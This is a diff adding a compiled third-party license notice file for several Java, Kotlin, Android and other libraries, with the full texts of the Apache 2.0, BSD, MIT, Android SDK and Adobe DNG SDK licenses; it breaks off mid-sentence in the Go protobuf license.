+- artifact: org.ow2.asm:asm-analysis:+
+  name: ASM Util
+  copyrightHolder: INRIA, France Telecom
+  license: BSD
+  licenseUrl: http://asm.ow2.org/license.html
+  url: http://asm.ow2.org/index.html
+- artifact: org.ow2.asm:asm:+
+  name: ASM Core
+  copyrightHolder: INRIA, France Telecom
+  license: BSD
+  licenseUrl: http://asm.ow2.org/license.html
+  url: http://asm.ow2.org/index.html
+- artifact: org.jetbrains.kotlin:kotlin-stdlib:+
+  name: org.jetbrains.kotlin:kotlin-stdlib
+  copyrightHolder: JetBrains s.r.o.
+  license: The Apache License, Version 2.0
+  licenseUrl: http://www.apache.org/licenses/LICENSE-2.0.txt
+  url: https://kotlinlang.org/
+- artifact: org.jetbrains.kotlin:kotlin-stdlib-common:+
+  name: org.jetbrains.kotlin:kotlin-stdlib
+  copyrightHolder: JetBrains s.r.o.
+  license: The Apache License, Version 2.0
+  licenseUrl: http://www.apache.org/licenses/LICENSE-2.0.txt
+  url: https://kotlinlang.org/
+- artifact: org.jetbrains.kotlinx:kotlinx-metadata-jvm:+
+  name: org.jetbrains.kotlinx:kotlinx-metadata-jvm
+  copyrightHolder: JetBrains s.r.o.
+  license: The Apache License, Version 2.0
+  licenseUrl: http://www.apache.org/licenses/LICENSE-2.0.txt
+  url: https://kotlinlang.org/
+- artifact: org.jetbrains:annotations:+
+  name: IntelliJ IDEA Annotations
+  copyrightHolder: JetBrains s.r.o.
+  license: The Apache Software License, Version 2.0
+  licenseUrl: http://www.apache.org/licenses/LICENSE-2.0.txt
+  url: http://www.jetbrains.org
+
+
+Licenses details:
+
+
+
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding those notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+   APPENDIX: How to apply the Apache License to your work.
+
+      To apply the Apache License to your work, attach the following
+      boilerplate notice, with the fields enclosed by brackets "[]"
+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. We also recommend that a
+      file or class name and description of purpose be included on the
+      same "printed page" as the copyright notice for easier
+      identification within third-party archives.
+
+   Copyright [yyyy] [name of copyright owner]
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.
+
+
+Copyright (c) 2000-2011 INRIA, France Telecom
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions
+are met:
+
+1. Redistributions of source code must retain the above copyright
+   notice, this list of conditions and the following disclaimer.
+
+2. Redistributions in binary form must reproduce the above copyright
+   notice, this list of conditions and the following disclaimer in the
+   documentation and/or other materials provided with the distribution.
+
+3. Neither the name of the copyright holders nor the names of its
+   contributors may be used to endorse or promote products derived from
+   this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
+LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
+THE POSSIBILITY OF SUCH DAMAGE.
+
+Apache Commons Compress
+Copyright 2002-2016 The Apache Software Foundation
+
+This product includes software developed at
+The Apache Software Foundation (http://www.apache.org/).
+
+The files in the package org.apache.commons.compress.archivers.sevenz
+were derived from the LZMA SDK, version 9.20 (C/ and CPP/7zip/),
+which has been placed in the public domain:
+
+"LZMA SDK is placed in the public domain." (http://www.7-zip.org/sdk.html)
+
+
+ The MIT License
+
+ Copyright (c) 2004-2016 Paul R. Holser, Jr.
+
+ Permission is hereby granted, free of charge, to any person obtaining
+ a copy of this software and associated documentation files (the
+ "Software"), to deal in the Software without restriction, including
+ without limitation the rights to use, copy, modify, merge, publish,
+ distribute, sublicense, and/or sell copies of the Software, and to
+ permit persons to whom the Software is furnished to do so, subject to
+ the following conditions:
+
+ The above copyright notice and this permission notice shall be
+ included in all copies or substantial portions of the Software.
+
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+ EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+ MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+ NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+ LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+ OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+ WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+======================================================================
+prebuilts/sdk/NOTICE
+
+ANDROID SOFTWARE DEVELOPMENT KIT
+
+Terms and Conditions
+
+This is the Android Software Development Kit License Agreement.
+
+1. Introduction
+
+1.1 The Android Software Development Kit (referred to in this License Agreement as the "SDK" and
+specifically including the Android system files, packaged APIs, and Google APIs add-ons) is
+licensed to you subject to the terms of this License Agreement. This License Agreement forms a
+legally binding contract between you and Google in relation to your use of the SDK.
+
+1.2 "Google" means Google Inc., a Delaware corporation with principal place of business at 1600
+Amphitheatre Parkway, Mountain View, CA 94043, United States.
+
+2. Accepting this License Agreement
+
+2.1 In order to use the SDK, you must first agree to this License Agreement. You may not use the
+SDK if you do not accept this License Agreement.
+
+2.2 You can accept this License Agreement by:
+
+(A) clicking to accept or agree to this License Agreement, where this option is made available to
+you; or
+
+(B) by actually using the SDK. In this case, you agree that use of the SDK constitutes acceptance of
+the Licensing Agreement from that point onwards.
+
+2.3 You may not use the SDK and may not accept the Licensing Agreement if you are a person barred
+from receiving the SDK under the laws of the United States or other countries including the country
+in which you are resident or from which you use the SDK.
+
+2.4 If you are agreeing to be bound by this License Agreement on behalf of your employer or other
+entity, you represent and warrant that you have full legal authority to bind your employer or such
+entity to this License Agreement. If you do not have the requisite authority, you may not accept
+the Licensing Agreement or use the SDK on behalf of your employer or other entity.
+
+3. SDK License from Google
+
+3.1 Subject to the terms of this License Agreement, Google grants you a limited, worldwide,
+royalty-free, non- assignable and non-exclusive license to use the SDK solely to develop
+applications to run on the Android platform.
+
+3.2 You agree that Google or third parties own all legal right, title and interest in and to the
+SDK, including any Intellectual Property Rights that subsist in the SDK. "Intellectual Property
+Rights" means any and all rights under patent law, copyright law, trade secret law, trademark law,
+and any and all other proprietary rights. Google reserves all rights not expressly granted to you.
+
+3.3 Except to the extent required by applicable third party licenses, you may not copy (except for
+backup purposes), modify, adapt, redistribute, decompile, reverse engineer, disassemble, or create
+derivative works of the SDK or any part of the SDK. Except to the extent required by applicable
+third party licenses, you may not load any part of the SDK onto a mobile handset or any other
+hardware device except a personal computer, combine any part of the SDK with other software, or
+distribute any software or device incorporating a part of the SDK.
+
+3.4 Use, reproduction and distribution of components of the SDK licensed under an open source
+software license are governed solely by the terms of that open source software license and not
+this License Agreement.
+
+3.5 You agree that the form and nature of the SDK that Google provides may change without prior
+notice to you and that future versions of the SDK may be incompatible with applications developed
+on previous versions of the SDK. You agree that Google may stop (permanently or temporarily)
+providing the SDK (or any features within the SDK) to you or to users generally at Google's sole
+discretion, without prior notice to you.
+
+3.6 Nothing in this License Agreement gives you a right to use any of Google's trade names,
+trademarks, service marks, logos, domain names, or other distinctive brand features.
+
+3.7 You agree that you will not remove, obscure, or alter any proprietary rights notices (including
+copyright and trademark notices) that may be affixed to or contained within the SDK.
+
+4. Use of the SDK by You
+
+4.1 Google agrees that it obtains no right, title or interest from you (or your licensors) under
+this License Agreement in or to any software applications that you develop using the SDK, including
+any intellectual property rights that subsist in those applications.
+
+4.2 You agree to use the SDK and write applications only for purposes that are permitted by (a) this
+License Agreement and (b) any applicable law, regulation or generally accepted practices or
+guidelines in the relevant jurisdictions (including any laws regarding the export of data or
+software to and from the United States or other relevant countries).
+
+4.3 You agree that if you use the SDK to develop applications for general public users, you will
+protect the privacy and legal rights of those users. If the users provide you with user names,
+passwords, or other login information or personal information, your must make the users aware that
+the information will be available to your application, and you must provide legally adequate privacy
+notice and protection for those users. If your application stores personal or sensitive information
+provided by users, it must do so securely. If the user provides your application with Google Account
+information, your application may only use that information to access the user's Google Account
+when, and for the limited purposes for which, the user has given you permission to do so.
+
+4.4 You agree that you will not engage in any activity with the SDK, including the development or
+distribution of an application, that interferes with, disrupts, damages, or accesses in an
+unauthorized manner the servers, networks, or other properties or services of any third party
+including, but not limited to, Google or any mobile communications carrier.
+
+4.5 You agree that you are solely responsible for (and that Google has no responsibility to you or
+to any third party for) any data, content, or resources that you create, transmit or display through
+the Android platform and/or applications for the Android platform, and for the consequences of your
+actions (including any loss or damage which Google may suffer) by doing so.
+
+4.6 You agree that you are solely responsible for (and that Google has no responsibility to you or
+to any third party for) any breach of your obligations under this License Agreement, any applicable
+third party contract or Terms of Service, or any applicable law or regulation, and for the
+consequences (including any loss or damage which Google or any third party may suffer) of any such
+breach.
+
+5. Your Developer Credentials
+
+5.1 You agree that you are responsible for maintaining the confidentiality of any developer
+credentials that may be issued to you by Google or which you may choose yourself and that you will
+be solely responsible for all applications that are developed under your developer credentials.
+
+6. Privacy and Information
+
+6.1 In order to continually innovate and improve the SDK, Google may collect certain usage
+statistics from the software including but not limited to a unique identifier, associated IP
+address, version number of the software, and information on which tools and/or services in the SDK
+are being used and how they are being used. Before any of this information is collected, the SDK
+will notify you and seek your consent. If you withhold consent, the information will not be
+collected.
+
+6.2 The data collected is examined in the aggregate to improve the SDK and is maintained in
+accordance with Google's Privacy Policy.
+
+7. Third Party Applications for the Android Platform
+
+7.1 If you use the SDK to run applications developed by a third party or that access data, content
+or resources provided by a third party, you agree that Google is not responsible for those
+applications, data, content, or resources. You understand that all data, content or resources which
+you may access through such third party applications are the sole responsibility of the person from
+which they originated and that Google is not liable for any loss or damage that you may experience
+as a result of the use or access of any of those third party applications, data, content, or
+resources.
+
+7.2 You should be aware the data, content, and resources presented to you through such a third party
+application may be protected by intellectual property rights which are owned by the providers (or by
+other persons or companies on their behalf). You may not modify, rent, lease, loan, sell, distribute
+or create derivative works based on these data, content, or resources (either in whole or in part)
+unless you have been specifically given permission to do so by the relevant owners.
+
+7.3 You acknowledge that your use of such third party applications, data, content, or resources may
+be subject to separate terms between you and the relevant third party. In that case, this License
+Agreement does not affect your legal relationship with these third parties.
+
+8. Using Android APIs
+
+8.1 Google Data APIs
+
+8.1.1 If you use any API to retrieve data from Google, you acknowledge that the data may be
+protected by intellectual property rights which are owned by Google or those parties that provide
+the data (or by other persons or companies on their behalf). Your use of any such API may be subject
+to additional Terms of Service. You may not modify, rent, lease, loan, sell, distribute or create
+derivative works based on this data (either in whole or in part) unless allowed by the relevant
+Terms of Service.
+
+8.1.2 If you use any API to retrieve a user's data from Google, you acknowledge and agree that you
+shall retrieve data only with the user's explicit consent and only when, and for the limited
+purposes for which, the user has given you permission to do so.
+
+9. Terminating this License Agreement
+
+9.1 This License Agreement will continue to apply until terminated by either you or Google as set
+out below.
+
+9.2 If you want to terminate this License Agreement, you may do so by ceasing your use of the SDK
+and any relevant developer credentials.
+
+9.3 Google may at any time, terminate this License Agreement with you if:
+
+(A) you have breached any provision of this License Agreement; or
+
+(B) Google is required to do so by law; or
+
+(C) the partner with whom Google offered certain parts of SDK (such as APIs) to you has terminated
+its relationship with Google or ceased to offer certain parts of the SDK to you; or
+
+(D) Google decides to no longer providing the SDK or certain parts of the SDK to users in the
+country in which you are resident or from which you use the service, or the provision of the SDK or
+certain SDK services to you by Google is, in Google's sole discretion, no longer commercially
+viable.
+
+9.4 When this License Agreement comes to an end, all of the legal rights, obligations and
+liabilities that you and Google have benefited from, been subject to (or which have accrued over
+time whilst this License Agreement has been in force) or which are expressed to continue
+indefinitely, shall be unaffected by this cessation, and the provisions of paragraph 14.7 shall
+continue to apply to such rights, obligations and liabilities indefinitely.
+
+10. DISCLAIMER OF WARRANTIES
+
+10.1 YOU EXPRESSLY UNDERSTAND AND AGREE THAT YOUR USE OF THE SDK IS AT YOUR SOLE RISK AND THAT THE
+SDK IS PROVIDED "AS IS" AND "AS AVAILABLE" WITHOUT WARRANTY OF ANY KIND FROM GOOGLE.
+
+10.2 YOUR USE OF THE SDK AND ANY MATERIAL DOWNLOADED OR OTHERWISE OBTAINED THROUGH THE USE OF THE
+SDK IS AT YOUR OWN DISCRETION AND RISK AND YOU ARE SOLELY RESPONSIBLE FOR ANY DAMAGE TO YOUR
+COMPUTER SYSTEM OR OTHER DEVICE OR LOSS OF DATA THAT RESULTS FROM SUCH USE.
+
+10.3 GOOGLE FURTHER EXPRESSLY DISCLAIMS ALL WARRANTIES AND CONDITIONS OF ANY KIND, WHETHER EXPRESS
+OR IMPLIED, INCLUDING, BUT NOT LIMITED TO THE IMPLIED WARRANTIES AND CONDITIONS OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT.
+
+11. LIMITATION OF LIABILITY
+
+11.1 YOU EXPRESSLY UNDERSTAND AND AGREE THAT GOOGLE, ITS SUBSIDIARIES AND AFFILIATES, AND ITS
+LICENSORS SHALL NOT BE LIABLE TO YOU UNDER ANY THEORY OF LIABILITY FOR ANY DIRECT, INDIRECT,
+INCIDENTAL, SPECIAL CONSEQUENTIAL OR EXEMPLARY DAMAGES THAT MAY BE INCURRED BY YOU, INCLUDING ANY
+LOSS OF DATA, WHETHER OR NOT GOOGLE OR ITS REPRESENTATIVES HAVE BEEN ADVISED OF OR SHOULD HAVE BEEN
+AWARE OF THE POSSIBILITY OF ANY SUCH LOSSES ARISING.
+
+12. Indemnification
+
+12.1 To the maximum extent permitted by law, you agree to defend, indemnify and hold harmless
+Google, its affiliates and their respective directors, officers, employees and agents from and
+against any and all claims, actions, suits or proceedings, as well as any and all losses,
+liabilities, damages, costs and expenses (including reasonable attorneys fees) arising out of or
+accruing from (a) your use of the SDK, (b) any application you develop on the SDK that infringes any
+copyright, trademark, trade secret, trade dress, patent or other intellectual property right of any
+person or defames any person or violates their rights of publicity or privacy, and (c) any
+non-compliance by you with this License Agreement.
+
+13. Changes to the License Agreement
+
+13.1 Google may make changes to the License Agreement as it distributes new versions of the SDK.
+When these changes are made, Google will make a new version of the License Agreement available on
+the website where the SDK is made available.
+
+14. General Legal Terms
+
+14.1 This License Agreement constitute the whole legal agreement between you and Google and govern
+your use of the SDK (excluding any services which Google may provide to you under a separate written
+agreement), and completely replace any prior agreements between you and Google in relation to the
+SDK.
+
+14.2 You agree that if Google does not exercise or enforce any legal right or remedy which is
+contained in this License Agreement (or which Google has the benefit of under any applicable law),
+this will not be taken to be a formal waiver of Google's rights and that those rights or remedies
+will still be available to Google.
+
+14.3 If any court of law, having the jurisdiction to decide on this matter, rules that any provision
+of this License Agreement is invalid, then that provision will be removed from this License
+Agreement without affecting the rest of this License Agreement. The remaining provisions of this
+License Agreement will continue to be valid and enforceable.
+
+14.4 You acknowledge and agree that each member of the group of companies of which Google is the
+parent shall be third party beneficiaries to this License Agreement and that such other companies
+shall be entitled to directly enforce, and rely upon, any provision of this License Agreement that
+confers a benefit on (or rights in favor of) them. Other than this, no other person or company shall
+be third party beneficiaries to this License Agreement.
+
+14.5 EXPORT RESTRICTIONS. THE SDK IS SUBJECT TO UNITED STATES EXPORT LAWS AND REGULATIONS. YOU MUST
+COMPLY WITH ALL DOMESTIC AND INTERNATIONAL EXPORT LAWS AND REGULATIONS THAT APPLY TO THE SDK. THESE
+LAWS INCLUDE RESTRICTIONS ON DESTINATIONS, END USERS AND END USE.
+
+14.6 The rights granted in this License Agreement may not be assigned or transferred by either you
+or Google without the prior written approval of the other party. Neither you nor Google shall be
+permitted to delegate their responsibilities or obligations under this License Agreement without the
+prior written approval of the other party.
+
+14.7 This License Agreement, and your relationship with Google under this License Agreement, shall
+be governed by the laws of the State of California without regard to its conflict of laws
+provisions. You and Google agree to submit to the exclusive jurisdiction of the courts located
+within the county of Santa Clara, California to resolve any legal matter arising from this License
+Agreement. Notwithstanding this, you agree that Google shall still be allowed to apply for
+injunctive remedies (or an equivalent type of urgent legal relief) in any jurisdiction.
+
+April 10, 2009
+
+======================================================================
+external/dng_sdk/NOTICE
+
+This version (dng_sdk 1.4) contains security patches from Google Inc.
+The changes were sent to Adobe Inc. (psirt@adobe.com) on Dec. 18th 2015 by kinan@google.com.
+
+-------
+
+This product includes DNG technology under license by Adobe Systems
+Incorporated.
+
+-------
+
+DNG SDK License Agreement
+NOTICE TO USER:
+Adobe Systems Incorporated provides the Software and Documentation for use under
+the terms of this Agreement. Any download, installation, use, reproduction,
+modification or distribution of the Software or Documentation, or any
+derivatives or portions thereof, constitutes your acceptance of this Agreement.
+
+As used in this Agreement, "Adobe" means Adobe Systems Incorporated. "Software"
+means the software code, in any format, including sample code and source code,
+accompanying this Agreement. "Documentation" means the documents, specifications
+and all other items accompanying this Agreement other than the Software.
+
+1. LICENSE GRANT
+Software License.  Subject to the restrictions below and other terms of this
+Agreement, Adobe hereby grants you a non-exclusive, worldwide, royalty free
+license to use, reproduce, prepare derivative works from, publicly display,
+publicly perform, distribute and sublicense the Software for any purpose.
+
+Document License.  Subject to the terms of this Agreement, Adobe hereby grants
+you a non-exclusive, worldwide, royalty free license to make a limited number of
+copies of the Documentation for your development purposes and to publicly
+display, publicly perform and distribute such copies.  You may not modify the
+Documentation.
+
+2. RESTRICTIONS AND OWNERSHIP
+You will not remove any copyright or other notice included in the Software or
+Documentation and you will include such notices in any copies of the Software
+that you distribute in human-readable format.
+
+You will not copy, use, display, modify or distribute the Software or
+Documentation in any manner not permitted by this Agreement. No title to the
+intellectual property in the Software or Documentation is transferred to you
+under the terms of this Agreement. You do not acquire any rights to the Software
+or the Documentation except as expressly set forth in this Agreement. All rights
+not granted are reserved by Adobe.
+
+3. DISCLAIMER OF WARRANTY
+ADOBE PROVIDES THE SOFTWARE AND DOCUMENTATION ONLY ON AN "AS IS" BASIS WITHOUT
+WARRANTIES OR CONDITIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING
+WITHOUT LIMITATION ANY WARRANTIES OR CONDITIONS OF TITLE, NON-INFRINGEMENT,
+MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. ADOBE MAKES NO WARRANTY
+THAT THE SOFTWARE OR DOCUMENTATION WILL BE ERROR-FREE. To the extent
+permissible, any warranties that are not and cannot be excluded by the foregoing
+are limited to ninety (90) days.
+
+4. LIMITATION OF LIABILITY
+ADOBE AND ITS SUPPLIERS SHALL NOT BE LIABLE FOR LOSS OR DAMAGE ARISING OUT OF
+THIS AGREEMENT OR FROM THE USE OF THE SOFTWARE OR DOCUMENTATION. IN NO EVENT
+WILL ADOBE BE LIABLE TO YOU OR ANY THIRD PARTY FOR ANY DIRECT, INDIRECT,
+CONSEQUENTIAL, INCIDENTAL, OR SPECIAL DAMAGES INCLUDING LOST PROFITS, LOST
+SAVINGS, COSTS, FEES, OR EXPENSES OF ANY KIND ARISING OUT OF ANY PROVISION OF
+THIS AGREEMENT OR THE USE OR THE INABILITY TO USE THE SOFTWARE OR DOCUMENTATION,
+HOWEVER CAUSED AND UNDER ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+LIABILITY OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE), EVEN IF ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGES. ADOBE'S AGGREGATE LIABILITY AND THAT OF ITS
+SUPPLIERS UNDER OR IN CONNECTION WITH THIS AGREEMENT SHALL BE LIMITED TO THE
+AMOUNT PAID BY YOU FOR THE SOFTWARE AND DOCUMENTATION.
+
+5. INDEMNIFICATION
+If you choose to distribute the Software in a commercial product, you do so with
+the understanding that you agree to defend, indemnify and hold harmless Adobe
+against any losses, damages and costs arising from the claims, lawsuits or other
+legal actions arising out of such distribution.
+
+6. TRADEMARK USAGE
+Adobe and the DNG logo are the trademarks or registered trademarks of Adobe
+Systems Incorporated in the United States and other countries. Such trademarks
+may not be used to endorse or promote any product unless expressly permitted
+under separate agreement with Adobe. For information on how to license the DNG
+logo please go to www.adobe.com.
+
+7. TERM
+Your rights under this Agreement shall terminate if you fail to comply with any
+of the material terms or conditions of this Agreement. If all your rights under
+this Agreement terminate, you will immediately cease use and distribution of the
+Software and Documentation.
+
+8. GOVERNING LAW AND JURISDICTION. This Agreement is governed by the statutes
+and laws of the State of California, without regard to the conflicts of law
+principles thereof. The federal and state courts located in Santa Clara County,
+California, USA, will have non-exclusive jurisdiction over any dispute arising
+out of this Agreement.
+
+9. GENERAL
+This Agreement supersedes any prior agreement, oral or written, between Adobe
+and you with respect to the licensing to you of the Software and Documentation.
+No variation of the terms of this Agreement will be enforceable against Adobe
+unless Adobe gives its express consent in writing signed by an authorized
+signatory of Adobe. If any part of this Agreement is found void and
+unenforceable, it will not affect the validity of the balance of the Agreement,
+which shall remain valid and enforceable according to its terms.
+
+======================================================================
+external/golang-protobuf/LICENSE
+
+Copyright 2010 The Go Authors.  All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are
+met:
+
+    * Redistributions of source code must retain the above copyright
+notice, this list of conditions and the following disclaimer.
+    * Redistributions in binary form must reproduce the above
+copyright notice, this list of conditions and the following disclaimer
+in the documentation and/or other materials provided with the
+distribution.
+    * Neither the name of Google Inc. nor the names of its
+contributors may be used to endorse or promote products derived from
+this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
